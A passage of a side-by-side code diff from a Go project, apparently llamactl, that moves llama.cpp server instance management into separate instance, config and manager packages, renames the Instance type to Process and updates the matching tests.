options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Host: "localhost", Host: "localhost",
Port: 8080, Port: 8080,
}, },
} }
instance := llamactl.NewInstance("test-instance", globalSettings, options) inst := instance.NewInstance("test-instance", globalSettings, options)
// Get proxy for the first time // Get proxy for the first time
proxy1, err := instance.GetProxy() proxy1, err := inst.GetProxy()
if err != nil { if err != nil {
t.Fatalf("GetProxy failed: %v", err) t.Fatalf("GetProxy failed: %v", err)
} }
@@ -213,7 +215,7 @@ func TestGetProxy(t *testing.T) {
} }
// Get proxy again - should return cached version // Get proxy again - should return cached version
proxy2, err := instance.GetProxy() proxy2, err := inst.GetProxy()
if err != nil { if err != nil {
t.Fatalf("GetProxy failed: %v", err) t.Fatalf("GetProxy failed: %v", err)
} }
@@ -223,21 +225,21 @@ func TestGetProxy(t *testing.T) {
} }
func TestMarshalJSON(t *testing.T) { func TestMarshalJSON(t *testing.T) {
globalSettings := &llamactl.InstancesConfig{ globalSettings := &config.InstancesConfig{
LogsDir: "/tmp/test", LogsDir: "/tmp/test",
DefaultAutoRestart: true, DefaultAutoRestart: true,
DefaultMaxRestarts: 3, DefaultMaxRestarts: 3,
DefaultRestartDelay: 5, DefaultRestartDelay: 5,
} }
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, Port: 8080,
}, },
} }
instance := llamactl.NewInstance("test-instance", globalSettings, options) instance := instance.NewInstance("test-instance", globalSettings, options)
data, err := json.Marshal(instance) data, err := json.Marshal(instance)
if err != nil { if err != nil {
@@ -284,20 +286,20 @@ func TestUnmarshalJSON(t *testing.T) {
} }
}` }`
var instance llamactl.Instance var inst instance.Process
err := json.Unmarshal([]byte(jsonData), &instance) err := json.Unmarshal([]byte(jsonData), &inst)
if err != nil { if err != nil {
t.Fatalf("JSON unmarshal failed: %v", err) t.Fatalf("JSON unmarshal failed: %v", err)
} }
if instance.Name != "test-instance" { if inst.Name != "test-instance" {
t.Errorf("Expected name 'test-instance', got %q", instance.Name) t.Errorf("Expected name 'test-instance', got %q", inst.Name)
} }
if !instance.Running { if !inst.Running {
t.Error("Expected running to be true") t.Error("Expected running to be true")
} }
opts := instance.GetOptions() opts := inst.GetOptions()
if opts == nil { if opts == nil {
t.Fatal("Expected options to be set") t.Fatal("Expected options to be set")
} }
@@ -324,13 +326,13 @@ func TestUnmarshalJSON_PartialOptions(t *testing.T) {
} }
}` }`
var instance llamactl.Instance var inst instance.Process
err := json.Unmarshal([]byte(jsonData), &instance) err := json.Unmarshal([]byte(jsonData), &inst)
if err != nil { if err != nil {
t.Fatalf("JSON unmarshal failed: %v", err) t.Fatalf("JSON unmarshal failed: %v", err)
} }
opts := instance.GetOptions() opts := inst.GetOptions()
if opts.Model != "/path/to/model.gguf" { if opts.Model != "/path/to/model.gguf" {
t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model) t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
} }
@@ -348,20 +350,20 @@ func TestUnmarshalJSON_NoOptions(t *testing.T) {
"running": false "running": false
}` }`
var instance llamactl.Instance var inst instance.Process
err := json.Unmarshal([]byte(jsonData), &instance) err := json.Unmarshal([]byte(jsonData), &inst)
if err != nil { if err != nil {
t.Fatalf("JSON unmarshal failed: %v", err) t.Fatalf("JSON unmarshal failed: %v", err)
} }
if instance.Name != "test-instance" { if inst.Name != "test-instance" {
t.Errorf("Expected name 'test-instance', got %q", instance.Name) t.Errorf("Expected name 'test-instance', got %q", inst.Name)
} }
if instance.Running { if inst.Running {
t.Error("Expected running to be false") t.Error("Expected running to be false")
} }
opts := instance.GetOptions() opts := inst.GetOptions()
if opts != nil { if opts != nil {
t.Error("Expected options to be nil when not provided in JSON") t.Error("Expected options to be nil when not provided in JSON")
} }
@@ -384,42 +386,42 @@ func TestCreateInstanceOptionsValidation(t *testing.T) {
}, },
{ {
name: "valid positive values", name: "valid positive values",
maxRestarts: intPtr(10), maxRestarts: testutil.IntPtr(10),
restartDelay: intPtr(30), restartDelay: testutil.IntPtr(30),
expectedMax: 10, expectedMax: 10,
expectedDelay: 30, expectedDelay: 30,
}, },
{ {
name: "zero values", name: "zero values",
maxRestarts: intPtr(0), maxRestarts: testutil.IntPtr(0),
restartDelay: intPtr(0), restartDelay: testutil.IntPtr(0),
expectedMax: 0, expectedMax: 0,
expectedDelay: 0, expectedDelay: 0,
}, },
{ {
name: "negative values should be corrected", name: "negative values should be corrected",
maxRestarts: intPtr(-5), maxRestarts: testutil.IntPtr(-5),
restartDelay: intPtr(-10), restartDelay: testutil.IntPtr(-10),
expectedMax: 0, expectedMax: 0,
expectedDelay: 0, expectedDelay: 0,
}, },
} }
globalSettings := &llamactl.InstancesConfig{ globalSettings := &config.InstancesConfig{
LogsDir: "/tmp/test", LogsDir: "/tmp/test",
} }
for _, tt := range tests { for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) { t.Run(tt.name, func(t *testing.T) {
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
MaxRestarts: tt.maxRestarts, MaxRestarts: tt.maxRestarts,
RestartDelay: tt.restartDelay, RestartDelay: tt.restartDelay,
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
instance := llamactl.NewInstance("test", globalSettings, options) instance := instance.NewInstance("test", globalSettings, options)
opts := instance.GetOptions() opts := instance.GetOptions()
if tt.maxRestarts != nil { if tt.maxRestarts != nil {

View File

@@ -1,4 +1,4 @@
package llamactl package instance
import ( import (
"context" "context"
@@ -11,7 +11,7 @@ import (
) )
// Start starts the llama server instance and returns an error if it fails. // Start starts the llama server instance and returns an error if it fails.
func (i *Instance) Start() error { func (i *Process) Start() error {
i.mu.Lock() i.mu.Lock()
defer i.mu.Unlock() defer i.mu.Unlock()
@@ -75,7 +75,7 @@ func (i *Instance) Start() error {
} }
// Stop terminates the subprocess // Stop terminates the subprocess
func (i *Instance) Stop() error { func (i *Process) Stop() error {
i.mu.Lock() i.mu.Lock()
if !i.Running { if !i.Running {
@@ -140,7 +140,7 @@ func (i *Instance) Stop() error {
return nil return nil
} }
func (i *Instance) monitorProcess() { func (i *Process) monitorProcess() {
defer func() { defer func() {
i.mu.Lock() i.mu.Lock()
if i.monitorDone != nil { if i.monitorDone != nil {
@@ -181,7 +181,7 @@ func (i *Instance) monitorProcess() {
} }
// handleRestart manages the restart process while holding the lock // handleRestart manages the restart process while holding the lock
func (i *Instance) handleRestart() { func (i *Process) handleRestart() {
// Validate restart conditions and get safe parameters // Validate restart conditions and get safe parameters
shouldRestart, maxRestarts, restartDelay := i.validateRestartConditions() shouldRestart, maxRestarts, restartDelay := i.validateRestartConditions()
if !shouldRestart { if !shouldRestart {
@@ -223,7 +223,7 @@ func (i *Instance) handleRestart() {
} }
// validateRestartConditions checks if the instance should be restarted and returns the parameters // validateRestartConditions checks if the instance should be restarted and returns the parameters
func (i *Instance) validateRestartConditions() (shouldRestart bool, maxRestarts int, restartDelay int) { func (i *Process) validateRestartConditions() (shouldRestart bool, maxRestarts int, restartDelay int) {
if i.options == nil { if i.options == nil {
log.Printf("Instance %s not restarting: options are nil", i.Name) log.Printf("Instance %s not restarting: options are nil", i.Name)
return false, 0, 0 return false, 0, 0

View File

@@ -1,4 +1,4 @@
package llamactl package instance
import ( import (
"bufio" "bufio"
@@ -52,7 +52,7 @@ func (i *InstanceLogger) Create() error {
} }
// GetLogs retrieves the last n lines of logs from the instance // GetLogs retrieves the last n lines of logs from the instance
func (i *Instance) GetLogs(num_lines int) (string, error) { func (i *Process) GetLogs(num_lines int) (string, error) {
i.mu.RLock() i.mu.RLock()
logFileName := i.logger.logFilePath logFileName := i.logger.logFilePath
i.mu.RUnlock() i.mu.RUnlock()

View File

@@ -1,6 +1,6 @@
//go:build !windows //go:build !windows
package llamactl package instance
import ( import (
"os/exec" "os/exec"

View File

@@ -1,6 +1,6 @@
//go:build windows //go:build windows
package llamactl package instance
import "os/exec" import "os/exec"

View File

@@ -1,452 +0,0 @@
package llamactl
import (
"encoding/json"
"fmt"
"log"
"os"
"path/filepath"
"strings"
"sync"
)
// InstanceManager defines the interface for managing instances of the llama server.
type InstanceManager interface {
ListInstances() ([]*Instance, error)
CreateInstance(name string, options *CreateInstanceOptions) (*Instance, error)
GetInstance(name string) (*Instance, error)
UpdateInstance(name string, options *CreateInstanceOptions) (*Instance, error)
DeleteInstance(name string) error
StartInstance(name string) (*Instance, error)
StopInstance(name string) (*Instance, error)
RestartInstance(name string) (*Instance, error)
GetInstanceLogs(name string) (string, error)
Shutdown()
}
type instanceManager struct {
mu sync.RWMutex
instances map[string]*Instance
ports map[int]bool
instancesConfig InstancesConfig
}
// NewInstanceManager creates a new instance of InstanceManager.
func NewInstanceManager(instancesConfig InstancesConfig) InstanceManager {
im := &instanceManager{
instances: make(map[string]*Instance),
ports: make(map[int]bool),
instancesConfig: instancesConfig,
}
// Load existing instances from disk
if err := im.loadInstances(); err != nil {
log.Printf("Error loading instances: %v", err)
}
return im
}
// ListInstances returns a list of all instances managed by the instance manager.
func (im *instanceManager) ListInstances() ([]*Instance, error) {
im.mu.RLock()
defer im.mu.RUnlock()
instances := make([]*Instance, 0, len(im.instances))
for _, instance := range im.instances {
instances = append(instances, instance)
}
return instances, nil
}
// CreateInstance creates a new instance with the given options and returns it.
// The instance is initially in a "stopped" state.
func (im *instanceManager) CreateInstance(name string, options *CreateInstanceOptions) (*Instance, error) {
if options == nil {
return nil, fmt.Errorf("instance options cannot be nil")
}
if len(im.instances) >= im.instancesConfig.MaxInstances && im.instancesConfig.MaxInstances != -1 {
return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances)
}
err := ValidateInstanceName(name)
if err != nil {
return nil, err
}
err = ValidateInstanceOptions(options)
if err != nil {
return nil, err
}
im.mu.Lock()
defer im.mu.Unlock()
// Check if instance with this name already exists
if im.instances[name] != nil {
return nil, fmt.Errorf("instance with name %s already exists", name)
}
// Assign a port if not specified
if options.Port == 0 {
port, err := im.getNextAvailablePort()
if err != nil {
return nil, fmt.Errorf("failed to get next available port: %w", err)
}
options.Port = port
} else {
// Validate the specified port
if _, exists := im.ports[options.Port]; exists {
return nil, fmt.Errorf("port %d is already in use", options.Port)
}
im.ports[options.Port] = true
}
instance := NewInstance(name, &im.instancesConfig, options)
im.instances[instance.Name] = instance
im.ports[options.Port] = true
if err := im.persistInstance(instance); err != nil {
return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
}
return instance, nil
}
// GetInstance retrieves an instance by its name.
func (im *instanceManager) GetInstance(name string) (*Instance, error) {
im.mu.RLock()
defer im.mu.RUnlock()
instance, exists := im.instances[name]
if !exists {
return nil, fmt.Errorf("instance with name %s not found", name)
}
return instance, nil
}
// UpdateInstance updates the options of an existing instance and returns it.
// If the instance is running, it will be restarted to apply the new options.
func (im *instanceManager) UpdateInstance(name string, options *CreateInstanceOptions) (*Instance, error) {
im.mu.RLock()
instance, exists := im.instances[name]
im.mu.RUnlock()
if !exists {
return nil, fmt.Errorf("instance with name %s not found", name)
}
if options == nil {
return nil, fmt.Errorf("instance options cannot be nil")
}
err := ValidateInstanceOptions(options)
if err != nil {
return nil, err
}
// Check if instance is running before updating options
wasRunning := instance.Running
// If the instance is running, stop it first
if wasRunning {
if err := instance.Stop(); err != nil {
return nil, fmt.Errorf("failed to stop instance %s for update: %w", name, err)
}
}
// Now update the options while the instance is stopped
instance.SetOptions(options)
// If it was running before, start it again with the new options
if wasRunning {
if err := instance.Start(); err != nil {
return nil, fmt.Errorf("failed to start instance %s after update: %w", name, err)
}
}
im.mu.Lock()
defer im.mu.Unlock()
if err := im.persistInstance(instance); err != nil {
return nil, fmt.Errorf("failed to persist updated instance %s: %w", name, err)
}
return instance, nil
}
// DeleteInstance removes stopped instance by its name.
func (im *instanceManager) DeleteInstance(name string) error {
im.mu.Lock()
defer im.mu.Unlock()
instance, exists := im.instances[name]
if !exists {
return fmt.Errorf("instance with name %s not found", name)
}
if instance.Running {
return fmt.Errorf("instance with name %s is still running, stop it before deleting", name)
}
delete(im.ports, instance.options.Port)
delete(im.instances, name)
// Delete the instance's config file if persistence is enabled
instancePath := filepath.Join(im.instancesConfig.InstancesDir, instance.Name+".json")
if err := os.Remove(instancePath); err != nil && !os.IsNotExist(err) {
return fmt.Errorf("failed to delete config file for instance %s: %w", instance.Name, err)
}
return nil
}
// StartInstance starts a stopped instance and returns it.
// If the instance is already running, it returns an error.
func (im *instanceManager) StartInstance(name string) (*Instance, error) {
im.mu.RLock()
instance, exists := im.instances[name]
im.mu.RUnlock()
if !exists {
return nil, fmt.Errorf("instance with name %s not found", name)
}
if instance.Running {
return instance, fmt.Errorf("instance with name %s is already running", name)
}
if err := instance.Start(); err != nil {
return nil, fmt.Errorf("failed to start instance %s: %w", name, err)
}
im.mu.Lock()
defer im.mu.Unlock()
err := im.persistInstance(instance)
if err != nil {
return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
}
return instance, nil
}
// StopInstance stops a running instance and returns it.
func (im *instanceManager) StopInstance(name string) (*Instance, error) {
im.mu.RLock()
instance, exists := im.instances[name]
im.mu.RUnlock()
if !exists {
return nil, fmt.Errorf("instance with name %s not found", name)
}
if !instance.Running {
return instance, fmt.Errorf("instance with name %s is already stopped", name)
}
if err := instance.Stop(); err != nil {
return nil, fmt.Errorf("failed to stop instance %s: %w", name, err)
}
im.mu.Lock()
defer im.mu.Unlock()
err := im.persistInstance(instance)
if err != nil {
return nil, fmt.Errorf("failed to persist instance %s: %w", name, err)
}
return instance, nil
}
// RestartInstance stops and then starts an instance, returning the updated instance.
func (im *instanceManager) RestartInstance(name string) (*Instance, error) {
instance, err := im.StopInstance(name)
if err != nil {
return nil, err
}
return im.StartInstance(instance.Name)
}
// GetInstanceLogs retrieves the logs for a specific instance by its name.
func (im *instanceManager) GetInstanceLogs(name string) (string, error) {
im.mu.RLock()
_, exists := im.instances[name]
im.mu.RUnlock()
if !exists {
return "", fmt.Errorf("instance with name %s not found", name)
}
// TODO: Implement actual log retrieval logic
return fmt.Sprintf("Logs for instance %s", name), nil
}
func (im *instanceManager) getNextAvailablePort() (int, error) {
portRange := im.instancesConfig.PortRange
for port := portRange[0]; port <= portRange[1]; port++ {
if !im.ports[port] {
im.ports[port] = true
return port, nil
}
}
return 0, fmt.Errorf("no available ports in the specified range")
}
// persistInstance saves an instance to its JSON file
func (im *instanceManager) persistInstance(instance *Instance) error {
if im.instancesConfig.InstancesDir == "" {
return nil // Persistence disabled
}
instancePath := filepath.Join(im.instancesConfig.InstancesDir, instance.Name+".json")
tempPath := instancePath + ".tmp"
// Serialize instance to JSON
jsonData, err := json.MarshalIndent(instance, "", " ")
if err != nil {
return fmt.Errorf("failed to marshal instance %s: %w", instance.Name, err)
}
// Write to temporary file first
if err := os.WriteFile(tempPath, jsonData, 0644); err != nil {
return fmt.Errorf("failed to write temp file for instance %s: %w", instance.Name, err)
}
// Atomic rename
if err := os.Rename(tempPath, instancePath); err != nil {
os.Remove(tempPath) // Clean up temp file
return fmt.Errorf("failed to rename temp file for instance %s: %w", instance.Name, err)
}
return nil
}
func (im *instanceManager) Shutdown() {
im.mu.Lock()
defer im.mu.Unlock()
var wg sync.WaitGroup
wg.Add(len(im.instances))
for name, instance := range im.instances {
if !instance.Running {
wg.Done() // If instance is not running, just mark it as done
continue
}
go func(name string, instance *Instance) {
defer wg.Done()
fmt.Printf("Stopping instance %s...\n", name)
// Attempt to stop the instance gracefully
if err := instance.Stop(); err != nil {
fmt.Printf("Error stopping instance %s: %v\n", name, err)
}
}(name, instance)
}
wg.Wait()
fmt.Println("All instances stopped.")
}
// loadInstances restores all instances from disk
func (im *instanceManager) loadInstances() error {
if im.instancesConfig.InstancesDir == "" {
return nil // Persistence disabled
}
// Check if instances directory exists
if _, err := os.Stat(im.instancesConfig.InstancesDir); os.IsNotExist(err) {
return nil // No instances directory, start fresh
}
// Read all JSON files from instances directory
files, err := os.ReadDir(im.instancesConfig.InstancesDir)
if err != nil {
return fmt.Errorf("failed to read instances directory: %w", err)
}
loadedCount := 0
for _, file := range files {
if file.IsDir() || !strings.HasSuffix(file.Name(), ".json") {
continue
}
instanceName := strings.TrimSuffix(file.Name(), ".json")
instancePath := filepath.Join(im.instancesConfig.InstancesDir, file.Name())
if err := im.loadInstance(instanceName, instancePath); err != nil {
log.Printf("Failed to load instance %s: %v", instanceName, err)
continue
}
loadedCount++
}
if loadedCount > 0 {
log.Printf("Loaded %d instances from persistence", loadedCount)
// Auto-start instances that have auto-restart enabled
go im.autoStartInstances()
}
return nil
}
// loadInstance loads a single instance from its JSON file
func (im *instanceManager) loadInstance(name, path string) error {
data, err := os.ReadFile(path)
if err != nil {
return fmt.Errorf("failed to read instance file: %w", err)
}
var persistedInstance Instance
if err := json.Unmarshal(data, &persistedInstance); err != nil {
return fmt.Errorf("failed to unmarshal instance: %w", err)
}
// Validate the instance name matches the filename
if persistedInstance.Name != name {
return fmt.Errorf("instance name mismatch: file=%s, instance.Name=%s", name, persistedInstance.Name)
}
// Create new instance using NewInstance (handles validation, defaults, setup)
instance := NewInstance(name, &im.instancesConfig, persistedInstance.GetOptions())
// Restore persisted fields that NewInstance doesn't set
instance.Created = persistedInstance.Created
instance.Running = persistedInstance.Running
// Check for port conflicts and add to maps
if instance.GetOptions() != nil && instance.GetOptions().Port > 0 {
port := instance.GetOptions().Port
if im.ports[port] {
return fmt.Errorf("port conflict: instance %s wants port %d which is already in use", name, port)
}
im.ports[port] = true
}
im.instances[name] = instance
return nil
}
// autoStartInstances starts instances that were running when persisted and have auto-restart enabled
func (im *instanceManager) autoStartInstances() {
im.mu.RLock()
var instancesToStart []*Instance
for _, instance := range im.instances {
if instance.Running && // Was running when persisted
instance.GetOptions() != nil &&
instance.GetOptions().AutoRestart != nil &&
*instance.GetOptions().AutoRestart {
instancesToStart = append(instancesToStart, instance)
}
}
im.mu.RUnlock()
for _, instance := range instancesToStart {
log.Printf("Auto-starting instance %s", instance.Name)
// Reset running state before starting (since Start() expects stopped instance)
instance.Running = false
if err := instance.Start(); err != nil {
log.Printf("Failed to auto-start instance %s: %v", instance.Name, err)
}
}
}

222
pkg/manager/manager.go Normal file
View File

@@ -0,0 +1,222 @@
package manager
import (
"encoding/json"
"fmt"
"llamactl/pkg/config"
"llamactl/pkg/instance"
"log"
"os"
"path/filepath"
"strings"
"sync"
)
// InstanceManager defines the interface for managing instances of the llama server.
type InstanceManager interface {
ListInstances() ([]*instance.Process, error)
CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error)
GetInstance(name string) (*instance.Process, error)
UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error)
DeleteInstance(name string) error
StartInstance(name string) (*instance.Process, error)
StopInstance(name string) (*instance.Process, error)
RestartInstance(name string) (*instance.Process, error)
GetInstanceLogs(name string) (string, error)
Shutdown()
}
type instanceManager struct {
mu sync.RWMutex
instances map[string]*instance.Process
ports map[int]bool
instancesConfig config.InstancesConfig
}
// NewInstanceManager creates a new instance of InstanceManager.
func NewInstanceManager(instancesConfig config.InstancesConfig) InstanceManager {
im := &instanceManager{
instances: make(map[string]*instance.Process),
ports: make(map[int]bool),
instancesConfig: instancesConfig,
}
// Load existing instances from disk
if err := im.loadInstances(); err != nil {
log.Printf("Error loading instances: %v", err)
}
return im
}
func (im *instanceManager) getNextAvailablePort() (int, error) {
portRange := im.instancesConfig.PortRange
for port := portRange[0]; port <= portRange[1]; port++ {
if !im.ports[port] {
im.ports[port] = true
return port, nil
}
}
return 0, fmt.Errorf("no available ports in the specified range")
}
// persistInstance saves an instance to its JSON file
func (im *instanceManager) persistInstance(instance *instance.Process) error {
if im.instancesConfig.InstancesDir == "" {
return nil // Persistence disabled
}
instancePath := filepath.Join(im.instancesConfig.InstancesDir, instance.Name+".json")
tempPath := instancePath + ".tmp"
// Serialize instance to JSON
jsonData, err := json.MarshalIndent(instance, "", " ")
if err != nil {
return fmt.Errorf("failed to marshal instance %s: %w", instance.Name, err)
}
// Write to temporary file first
if err := os.WriteFile(tempPath, jsonData, 0644); err != nil {
return fmt.Errorf("failed to write temp file for instance %s: %w", instance.Name, err)
}
// Atomic rename
if err := os.Rename(tempPath, instancePath); err != nil {
os.Remove(tempPath) // Clean up temp file
return fmt.Errorf("failed to rename temp file for instance %s: %w", instance.Name, err)
}
return nil
}
func (im *instanceManager) Shutdown() {
im.mu.Lock()
defer im.mu.Unlock()
var wg sync.WaitGroup
wg.Add(len(im.instances))
for name, inst := range im.instances {
if !inst.Running {
wg.Done() // If instance is not running, just mark it as done
continue
}
go func(name string, inst *instance.Process) {
defer wg.Done()
fmt.Printf("Stopping instance %s...\n", name)
// Attempt to stop the instance gracefully
if err := inst.Stop(); err != nil {
fmt.Printf("Error stopping instance %s: %v\n", name, err)
}
}(name, inst)
}
wg.Wait()
fmt.Println("All instances stopped.")
}
// loadInstances restores all instances from disk
func (im *instanceManager) loadInstances() error {
if im.instancesConfig.InstancesDir == "" {
return nil // Persistence disabled
}
// Check if instances directory exists
if _, err := os.Stat(im.instancesConfig.InstancesDir); os.IsNotExist(err) {
return nil // No instances directory, start fresh
}
// Read all JSON files from instances directory
files, err := os.ReadDir(im.instancesConfig.InstancesDir)
if err != nil {
return fmt.Errorf("failed to read instances directory: %w", err)
}
loadedCount := 0
for _, file := range files {
if file.IsDir() || !strings.HasSuffix(file.Name(), ".json") {
continue
}
instanceName := strings.TrimSuffix(file.Name(), ".json")
instancePath := filepath.Join(im.instancesConfig.InstancesDir, file.Name())
if err := im.loadInstance(instanceName, instancePath); err != nil {
log.Printf("Failed to load instance %s: %v", instanceName, err)
continue
}
loadedCount++
}
if loadedCount > 0 {
log.Printf("Loaded %d instances from persistence", loadedCount)
// Auto-start instances that have auto-restart enabled
go im.autoStartInstances()
}
return nil
}
// loadInstance loads a single instance from its JSON file
func (im *instanceManager) loadInstance(name, path string) error {
data, err := os.ReadFile(path)
if err != nil {
return fmt.Errorf("failed to read instance file: %w", err)
}
var persistedInstance instance.Process
if err := json.Unmarshal(data, &persistedInstance); err != nil {
return fmt.Errorf("failed to unmarshal instance: %w", err)
}
// Validate the instance name matches the filename
if persistedInstance.Name != name {
return fmt.Errorf("instance name mismatch: file=%s, instance.Name=%s", name, persistedInstance.Name)
}
// Create new inst using NewInstance (handles validation, defaults, setup)
inst := instance.NewInstance(name, &im.instancesConfig, persistedInstance.GetOptions())
// Restore persisted fields that NewInstance doesn't set
inst.Created = persistedInstance.Created
inst.Running = persistedInstance.Running
// Check for port conflicts and add to maps
if inst.GetOptions() != nil && inst.GetOptions().Port > 0 {
port := inst.GetOptions().Port
if im.ports[port] {
return fmt.Errorf("port conflict: instance %s wants port %d which is already in use", name, port)
}
im.ports[port] = true
}
im.instances[name] = inst
return nil
}
// autoStartInstances starts instances that were running when persisted and have auto-restart enabled
func (im *instanceManager) autoStartInstances() {
im.mu.RLock()
var instancesToStart []*instance.Process
for _, inst := range im.instances {
if inst.Running && // Was running when persisted
inst.GetOptions() != nil &&
inst.GetOptions().AutoRestart != nil &&
*inst.GetOptions().AutoRestart {
instancesToStart = append(instancesToStart, inst)
}
}
im.mu.RUnlock()
for _, inst := range instancesToStart {
log.Printf("Auto-starting instance %s", inst.Name)
// Reset running state before starting (since Start() expects stopped instance)
inst.Running = false
if err := inst.Start(); err != nil {
log.Printf("Failed to auto-start instance %s: %v", inst.Name, err)
}
}
}

View File

@@ -1,18 +1,20 @@
package llamactl_test package manager_test
import ( import (
"encoding/json" "encoding/json"
"llamactl/pkg/backends/llamacpp"
"llamactl/pkg/config"
"llamactl/pkg/instance"
"llamactl/pkg/manager"
"os" "os"
"path/filepath" "path/filepath"
"reflect" "reflect"
"strings" "strings"
"testing" "testing"
llamactl "llamactl/pkg"
) )
func TestNewInstanceManager(t *testing.T) { func TestNewInstanceManager(t *testing.T) {
config := llamactl.InstancesConfig{ cfg := config.InstancesConfig{
PortRange: [2]int{8000, 9000}, PortRange: [2]int{8000, 9000},
LogsDir: "/tmp/test", LogsDir: "/tmp/test",
MaxInstances: 5, MaxInstances: 5,
@@ -22,7 +24,7 @@ func TestNewInstanceManager(t *testing.T) {
DefaultRestartDelay: 5, DefaultRestartDelay: 5,
} }
manager := llamactl.NewInstanceManager(config) manager := manager.NewInstanceManager(cfg)
if manager == nil { if manager == nil {
t.Fatal("NewInstanceManager returned nil") t.Fatal("NewInstanceManager returned nil")
} }
@@ -40,40 +42,40 @@ func TestNewInstanceManager(t *testing.T) {
func TestCreateInstance_Success(t *testing.T) { func TestCreateInstance_Success(t *testing.T) {
manager := createTestManager() manager := createTestManager()
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, Port: 8080,
}, },
} }
instance, err := manager.CreateInstance("test-instance", options) inst, err := manager.CreateInstance("test-instance", options)
if err != nil { if err != nil {
t.Fatalf("CreateInstance failed: %v", err) t.Fatalf("CreateInstance failed: %v", err)
} }
if instance.Name != "test-instance" { if inst.Name != "test-instance" {
t.Errorf("Expected instance name 'test-instance', got %q", instance.Name) t.Errorf("Expected instance name 'test-instance', got %q", inst.Name)
} }
if instance.Running { if inst.Running {
t.Error("New instance should not be running") t.Error("New instance should not be running")
} }
if instance.GetOptions().Port != 8080 { if inst.GetOptions().Port != 8080 {
t.Errorf("Expected port 8080, got %d", instance.GetOptions().Port) t.Errorf("Expected port 8080, got %d", inst.GetOptions().Port)
} }
} }
func TestCreateInstance_DuplicateName(t *testing.T) { func TestCreateInstance_DuplicateName(t *testing.T) {
manager := createTestManager() manager := createTestManager()
options1 := &llamactl.CreateInstanceOptions{ options1 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
options2 := &llamactl.CreateInstanceOptions{ options2 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
@@ -96,26 +98,26 @@ func TestCreateInstance_DuplicateName(t *testing.T) {
func TestCreateInstance_MaxInstancesLimit(t *testing.T) { func TestCreateInstance_MaxInstancesLimit(t *testing.T) {
// Create manager with low max instances limit // Create manager with low max instances limit
config := llamactl.InstancesConfig{ cfg := config.InstancesConfig{
PortRange: [2]int{8000, 9000}, PortRange: [2]int{8000, 9000},
MaxInstances: 2, // Very low limit for testing MaxInstances: 2, // Very low limit for testing
} }
manager := llamactl.NewInstanceManager(config) manager := manager.NewInstanceManager(cfg)
options1 := &llamactl.CreateInstanceOptions{ options1 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
options2 := &llamactl.CreateInstanceOptions{ options2 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
options3 := &llamactl.CreateInstanceOptions{ options3 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
@@ -145,19 +147,19 @@ func TestCreateInstance_PortAssignment(t *testing.T) {
manager := createTestManager() manager := createTestManager()
// Create instance without specifying port // Create instance without specifying port
options := &llamactl.CreateInstanceOptions{ options := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
}, },
} }
instance, err := manager.CreateInstance("test-instance", options) inst, err := manager.CreateInstance("test-instance", options)
if err != nil { if err != nil {
t.Fatalf("CreateInstance failed: %v", err) t.Fatalf("CreateInstance failed: %v", err)
} }
// Should auto-assign a port in the range // Should auto-assign a port in the range
port := instance.GetOptions().Port port := inst.GetOptions().Port
if port < 8000 || port > 9000 { if port < 8000 || port > 9000 {
t.Errorf("Expected port in range 8000-9000, got %d", port) t.Errorf("Expected port in range 8000-9000, got %d", port)
} }
@@ -166,15 +168,15 @@ func TestCreateInstance_PortAssignment(t *testing.T) {
func TestCreateInstance_PortConflictDetection(t *testing.T) { func TestCreateInstance_PortConflictDetection(t *testing.T) {
manager := createTestManager() manager := createTestManager()
options1 := &llamactl.CreateInstanceOptions{ options1 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
Model: "/path/to/model.gguf", Model: "/path/to/model.gguf",
Port: 8080, // Explicit port Port: 8080, // Explicit port
}, },
} }
options2 := &llamactl.CreateInstanceOptions{ options2 := &instance.CreateInstanceOptions{
LlamaServerOptions: llamactl.LlamaServerOptions{ LlamaServerOptions: llamacpp.LlamaServerOptions{
